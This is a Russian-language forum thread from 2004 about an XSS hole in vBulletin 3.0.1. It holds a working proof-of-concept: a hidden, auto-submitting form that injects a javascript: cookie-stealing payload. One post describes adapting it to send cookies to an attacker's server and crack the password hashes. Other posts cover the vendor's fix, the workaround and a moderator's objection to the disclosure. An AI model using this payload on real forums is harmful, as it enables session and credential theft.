![]() |
Показаны 32 сообщений на этой странице |
Форум сетевых администраторов (http://netadmin.ws/forum/index.php)
- VBulletin 3.x.x (http://netadmin.ws/forum/forumdisplay.php?forumid=74)
-- Баг в vBulletin 3.0.1 (http://netadmin.ws/forum/showthread.php?threadid=9047)
Баг в vBulletin 3.0.1
Обнаружена уязвимость в vBulletin. Удаленный атакующий может получить доступ к важной информации пользователей.
Пример:
<form action="http://host/newreply.php" name="vbform"
method="post" style='visibility:hidden'>
<input name="WYSIWYG_HTML"
value="<IMG src="java script:alert(document.cookie)">"/>
<input name="do" value="postreply"/>
<input name="t" value="123456" />
<input name="p" value="123456" />
<input type="submit" class="button" name="preview"/>
</form>
<script>
document.all.preview.click();
</script>
__________________
Жизнь - вредная штука, от нее умирают...
Yoghurt
Надо чтобы админ вставил это шаблон? я правильно понимаю?
Мля .... действительно работает ....
(
Нужно что-то делать .... 
__________________
.
Более корректный вот этот код:
<form action="http://forum/newreply.php" name="vbform"
method="post" style='visibility:hidden'>
<input name="WYSIWYG_HTML"
value="<IMG src="java script:alert(document.cookie)">"/>
<input name="do" value="postreply"/>
<input name="t" value="441" />
<input name="p" value="6308" />
<input type="submit" class="button" name="preview"/>
</form>
<script>
document.all.preview.click();
</script>
..........
<input type="submit" class="button" name="sbutton"/>
</form>
<script>
document.all.sbutton.click();
</script>


__________________
.
интересно, а на 3.0.0 тоже рабоатет? и ваще-то я не понял.. что именно надо сделать с этим кодом? Ввести его в форму ответа или что?
MCTarakan добавил 28-06-2004 в 17:03:21:
да, я так понял в инфе все-равно пароль который засекречен MD5? Его можно расшифровать или нет?
__________________
yMC.ru - хомяк музыканта
MCTarakan
В отдельный html файл вставляешь и в браузере открываешь его ...
MD5 расшифровать при возможности можно ... чаще всего только брутфорсом ... хотя кажется в 3.0.x в исходный пароль "подмешивается" еще что-то ... так-что в этом случае расшифровать становится значительно сложней ....
__________________
.
А на vb3.0.0 эта дыра есть?
в 3.0.0 вроде эта дыра не заработала (во всяком случае у меня)...
__________________
yMC.ru - хомяк музыканта
GenUS
То, что с паролем подмешивается, этого мало. Там подмешивается какая-то подборка чисел, которую можно и самому изменить. Но толку от этого мало будет.
Если посмотреть как замешивается сессия, это я бы сказал супер. Вот может такую же фишку и смешивать с паролем. Хотя потом расшифровать наверное не расшифруешь. 
__________________
Gets.ru - Компьютерный Портал
quote:
Если посмотреть как замешивается сессия, это я бы сказал супер. Вот может такую же фишку и смешивать с паролем. Хотя потом расшифровать наверное не расшифруешь.
NeoExpert
Логично! Но на вряд ли получится, т.к. сессия постоянно разная, т.е. получится что один раз смешалась, а потом когда система будет проверять пароль, то в конечном итоге все прийдет к тому, что система будет ругаться что пароль неверный.
__________________
Gets.ru - Компьютерный Портал
А в чем "дыра" заключается? Что ты сам свой MD5 пароль увидишь?
W.M. я так понял MD5-пароль того чела, чей постИД ты введешь! 
__________________
yMC.ru - хомяк музыканта
аа я понял... типа пытаемся обмануть борду что мы хотим preview и она наивно нам отдается вместе со всеми MD5 :-)
Я вообще не понимаю - зачем в куках хранить хеш пароля... еще бы кредитки номер отдавали... куки же не секьюрные, по http передаются (за редким исключением)...
quote:
W.M. я так понял MD5-пароль того чела, чей постИД ты введешь!
quote:чтобы тебя авторизовать автоматом могло при входе на форум.
Я вообще не понимаю - зачем в куках хранить хеш пароля...
__________________
вот так вот...
ICQ 937160
Я вот крутил вертел это дело и так и не догнал в чем собственно дыра заключается ?
Если всё упирается в куки то это бред сивой кобылы:
Куки по определению иформация оставляемая сервером на машине клиента ... и если чел авторизировался на борде, то он увидит свои куки по хосту на котором борда висит .... если он вообще к борде не имеет отношение он даже никаких хешей паролей не увидит ... не говоря уже о том чтобы из хеша каким бы то нибыло образом получить исходный пароль ... причем опять свой же.
__________________
Athlon 2400, 512Mb, 120G+160G
RedHat Linux 9
NFSU:LAN, BF1942, PvPGN 1.6.3
vB 3.0.1
vB Advanced
quote:Я вот тоже думаю - по идее елси это был запрос на Preview, значит должен MD5 провериться, т.е. звться из куков клиента. Если его там нет - значит попытка хака. Если же такое на стороне скриптов не производится, то любой может написать от имени любого.
я, возможно, чего-то не понимаю, но откуда в чужом посте могут взяться куки, тем более - с md5 его автора?!
Подумал тут на днях ...
.... допустим, что в хэш пароля на форуме не подмешивается что-либо для увеличения стойкости пароля ... тогда:
С помощью этого эксплоита (конечно-же доработанного) можно получить MD5-хэш пароля и ID пользователя атакуемого форума но при некоторых условиях:
1) пользователь должен быть зарегистрирован на автоматический вход с помощью куков
2) этот пользователь должен зайти на специально подготовленную страницу вспомогательного сервера
Если в код этого эксплоита заместо java script:alert(document.cookie) поставить JavaScript-код чтобы он перенаправлял обратно на PHP скрипт "вспомогательного сервера" с данными Cookies (допустим через GET) .... то можно легко получать связку: ID пользователя + MD5-хэш пароля пользователя атакуемого форума .....
Далее раздаем ссылку на эксплоит юзерам атакуемого форума и ждем ...... сливаем связки со вспомогательного сервера и расшифровываем хэш например с помощью MD5Inside ... а имя пользователя зная ID узнать не проблема .... 
На поминаю это имеет смысл, если в хэш пароля не подмешивается специальный код форума ..... счастливым обладателям 3.0.1 версии не о чем беспокоится ...... на всякий случай можно проверить:
в файле includes/sessions.php примерно на 190-200й строке ищем
if (md5($bbuserinfo['password'] . 'XXXXXXXXXX') == $_COOKIE[COOKIE_PREFIX . 'password'])

__________________
.
quote:
ЗЗЫ У кого лады с инглишом? Поищите на оффсайте заплатку.
quote:
Been reported already and was fixed in cvs.
We're not classing this as critical as any uses of this will get the user a hashed password thats hashed 3 times over.
md5 password:
md5(md5(md5(password) + salt) + key)
Admin and mod panels require entering of the original password so this will be fixed with 3.0.2 when its released.
I've edited your report rather than hide it.
If your really concerned about this anyway then turn off the wysiwyg editor and use the regular editor until 3.0.2 is out..
Кста, также этот баг работает ТОЛЬКО с врубленным wysiwyg__________________
yMC.ru - хомяк музыканта
GenUS извини, я не проф, поэтому тебе не могу ответить!
Я только процитировал разрабов! 
__________________
yMC.ru - хомяк музыканта
GenUS и могеш узнавать пароль модераторов?
__________________
yMC.ru - хомяк музыканта
GenUS ага... понял! 
__________________
yMC.ru - хомяк музыканта
не народ вы еще пособие к взлому форумов напишите цены не будет, хакеры млин.
GenUS потри свои посты после 02-07-2004 19:21, а то придется самому потереть еще и предупреждений дать.
не народ вы головой то думаете, ну знаете, ну молчите, а то получается что то вроде ксекеп.ру, щас начитаются сопливые дебилы и пойдут форумы ломать, оно вам надо?
__________________
No pity, no mercy, no regret.
Vanish
Извиняюсь ... потер ...
__________________
.
нада было просто перенести было все в раздел про "Ломаем" 
__________________
yMC.ru - хомяк музыканта
А мне интересно знать дыры не для того чтобы взламывать чужие форумы, а чтобы защитить свой... Хочу знать, как ломается!
Ну или хотя бы как защитить в данной ситуации.
__________________
Жду ответа как байкер лета!
защитить просто - качнуть фикс!
или сделать самому, что уже лично для меня сложнее! 
__________________
yMC.ru - хомяк музыканта
MCTarakan
фикс - ты имеешь в виду сделать апгрейд до 303 (последняя версия на данный момент)?
__________________
Жду ответа как байкер лета!
угу!
или иногда они выпускают фикс - это просто пофиксенные файлы! 
__________________
yMC.ru - хомяк музыканта
MCTarakan
иногда они выпускают фикс
хорошо бы его поиметь, апгрейдится полностью каждую неделю/две не очень хочется 
quote:
If your really concerned about this anyway then turn off the wysiwyg editor and use the regular editor until 3.0.2 is out..

__________________
yMC.ru - хомяк музыканта
MCTarakan
а сковырнуть его оттуда никак?
| Формат времени GMT. Текущее время 22:54. | Показаны 32 сообщений на этой странице |
Powered by: vBulletin Version 2.2.4
Copyright © Jelsoft Enterprises Limited 2000, 2001.